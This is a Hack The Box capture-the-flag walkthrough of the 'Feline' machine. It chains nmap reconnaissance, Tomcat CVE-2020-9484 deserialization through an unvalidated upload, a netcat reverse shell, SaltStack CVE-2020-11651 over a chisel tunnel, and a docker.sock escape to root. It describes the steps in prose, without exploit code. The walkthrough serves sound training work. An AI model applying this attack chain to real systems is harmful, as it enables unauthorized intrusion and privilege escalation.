Feline Walkthrough
Last updated
Last updated
Hey Everyone! Today we have a new HTB walkthrough with one of the best hard machines, “Feline”.
What we will do?
As usual, we have some steps which we follow to pwn any machine, our steps are:
Reporting / Analysis
After finishing our steps we will have this information, stay calm and follow the reading :)
In this step, we aim to collect all this information, which we can collect on a specific target like its open ports, security mode of login systems, directories, OS version, services versions, etc
We will start with nmap to check the upper requirements
nmap -A -T4 10.10.10.205 or namp -sS -sV -T4 -O 10.10.10.205
we have 2 open ports 22/8080 and we know the version of each server OpenSSH and Apache Tomcat, so let’s check the website to know what we have
After checking all the available endpoints and directories, I’ve found that /services works
We have an upload function that accepts any file txt,php,exe,etc so we can understand that it doesn’t validate the content and the file extension.
For now, let’s search for any other information and note what we have got.
For the Apache TomCat server version, I’ve searched for available CVE’s and found that it’s vulnerable by RCE
For now, we get another important piece of info that our Tomcat may be vulnerable by CVE-2020-9484
I say “may be vulnerable” because it may be patched for this machine
After reading, the prerequisites are:
The PersistentManager is enabled and it’s using a FileStore
The attacker is able to upload a file with arbitrary content, has control over the filename, and knows the location where it is uploaded
There are gadgets in the classpath that can be used for a Java deserialization attack
For now, we have finished this step, let’s jump to the next step.
In this step, we aim to scan all collected info from the previous one, so let’s check if we have the prerequisites or not.
We need to check if:
Do we have an upload function?
IsPersistentManager enabled?
Do we know the upload file path on the server?
Do we know the upload directory?
For the first one we have an upload function, so let’s test more than the upload process to check for the results and know the server behavior
After uploading txt the file we have the upload directory from the request /upload.jsp?email= which validates the exploit request, nice job :)
As I said before it accepts all content that we can upload, So it doesn’t validate the content-type / file content or Magic number so let’s play with the filename
I’ve made an error to see the server behavior like renaming the file with space or leaving it empty
Great! We have important information in the response like the upload path on the server.
Let’s search for any public exploit code to save time.
This repo is amazing, it collects all steps in a sh file, but it asks to download the jar file from ysoserial to generate the payload
You can download it from here
Okay that’s enough here, let’s jump to the next step
After checking all exploit requirements
Let’s run it
and for our listener nc
It returns a shell :) Fantastic
Now we need to escalate our privileges to get the root user, so let’s jump to the next step.
In this step, we aim to find any information which may be leaked or not handled well to use and get new privileges, so you can use linpeas or linenum or even check manually.
Anyway, after checking the network states using netstat command:
I’ve found that we have 2 ports which localhost listen on them 4505/4506 and after searching for these 2 ports, I’ve discovered that they are related to something called saltslack it’s software running on them.
After some search, I discovered that they’re vulnerable CVE-2020–11651 !!
After checking the vulnerability details from here
Here are the command and the arguments
It will work on the port which listens on 4506 and in our case, it’s the localhost so we need to make port tunneling using chiesel
Let’s execute our exploit to get another shell…
Unfortunately!! We don’t have the root.txt but we have a hint that tells us that we’re inside a docker.
After enumerating the box again, I found a file called /run/docker.sock
For now, we have the exploit code after checking the upper blogs and asking friends for help
after running it and seeing what we have on the listener
It works, and we’ve accessed the root.txt and get the Super User privileges :)
If you speak Arabic, you can watch my walkthrough which I’ve explained all these steps here
Stay in touch
After checking for the vulnerability details, I found this awesome that discusses how to exploit it and its reasons.
After searching for docker.sock privileges escalation, I’ve found this and also this is awesome
If you find it helpful, Kindly give me respect from here
| |
